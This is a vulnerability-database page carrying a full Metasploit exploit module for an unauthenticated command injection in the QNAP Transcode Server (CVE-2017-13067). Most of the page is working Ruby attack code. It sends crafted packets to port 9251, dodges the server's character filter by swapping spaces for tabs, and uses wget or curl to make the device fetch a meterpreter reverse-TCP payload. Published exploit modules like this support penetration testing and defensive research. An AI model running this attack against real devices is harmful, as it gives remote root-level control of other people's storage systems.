Lucene search
K

QNAP Transcode Server Command Execution

🗓️ 13 Aug 2017 09:13:56Reported by Zenofex, 0x00string, bcoles <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

QNAP Transcode Server Command Execution vulnerability in QNAP NAS devices. The transcoding server is vulnerable to unauthenticated remote command injection using the 'rmfile' command. Successfully tested on QNAP TS-431 with firmware version 4.3.3.0262 (20170727)

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-13067
29 May 201815:50
circl
CNVD
QNAP Remote Command Execution Vulnerability
15 Sep 201700:00
cnvd
CVE
CVE-2017-13067
14 Sep 201715:00
cve
Cvelist
CVE-2017-13067
14 Sep 201715:00
cvelist
NVD
CVE-2017-13067
14 Sep 201715:29
nvd
OpenVAS
QNAP NAS 'Media Library' Command Execution Vulnerability (NAS-201709-15)
1 Sep 201700:00
openvas
OpenVAS
QNAP QTS 'Media Library' Command injection Vulnerability
19 Sep 201700:00
openvas
OSV
CVE-2017-13067
14 Sep 201715:29
osv
Prion
Remote code execution
14 Sep 201715:29
prion
Tenable Nessus
Qnap QTS Remote Code Execution (CVE-2017-13067)
16 Oct 202400:00
nessus
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'QNAP Transcode Server Command Execution',
      'Description' => %q{
        This module exploits an unauthenticated remote command injection
        vulnerability in QNAP NAS devices. The transcoding server listens
        on port 9251 by default and is vulnerable to command injection
        using the 'rmfile' command.

        This module was tested successfully on a QNAP TS-431 with
        firmware version 4.3.3.0262 (20170727).
      },
      'Author'     =>
        [
          'Zenofex', # Initial vulnerability discovery and PoC
          '0x00string', # Initial vulnerability discovery and PoC
          'bcoles' # Metasploit
        ],
      'License'    => MSF_LICENSE,
      'Platform'   => 'linux',
      'References' =>
        [
          [ 'CVE', '2017-13067' ],
          [ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],
          [ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]
        ],
      'DisclosureDate'  => '2017-08-06',
      'Privileged'      => true,
      'Arch'            => ARCH_ARMLE,
      'DefaultOptions'  =>
        {
          'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
        },
      'Targets'         => [['Automatic', {}]],
      'CmdStagerFlavor' => %w{wget curl},
      'DefaultTarget'   => 0))

    register_options(
      [
        Opt::RPORT(9251),
        OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])
      ])
    deregister_options 'cmdstager::decoder'
  end

  def check
    vprint_status 'Connecting to transcode server...'

    connect
    sock.put "\x01\x00\x00\x00"
    res = sock.get_once

    if res.blank?
      vprint_status 'No reply from server'
      return CheckCode::Safe
    end

    vprint_status "Received response: #{res}"

    return CheckCode::Detected if res.to_s =~ /client's request is accepted/

    CheckCode::Safe
  rescue ::Rex::ConnectionError
    vprint_error 'Connection failed'
    return CheckCode::Unknown
  ensure
    disconnect
  end

  def execute_command(cmd, opts)
    # Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %
    # Execute each command seperately
    cmd.split(';').each do |c|
      connect
      vprint_status "Executing command: #{c}"

      # Replace spaces with tabs
      c.tr! ' ', "\t"

      sock.put "\x01\x00\x00\x00/|#{c}|\x00"
      res = sock.get_once

      unless res.to_s =~ /client's request is accepted/
        print_status 'Unexpected reply'
        break
      end

      print_status "Sent command successfully (#{c.length} bytes)"

      disconnect

      if c =~ /^(curl|wget)/
        print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."
        Rex.sleep datastore['DELAY']
      end
    end
  rescue ::Rex::ConnectionError
    fail_with Failure::Unreachable, 'Failed to connect to the transcode server'
  ensure
    disconnect
  end

  def exploit
    vprint_status 'Connecting to transcode server...'
    execute_cmdstager linemax: 400
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
1Low risk
Vulners AI Score1
CVSS 27.5
CVSS 39.8
EPSS0.51069
22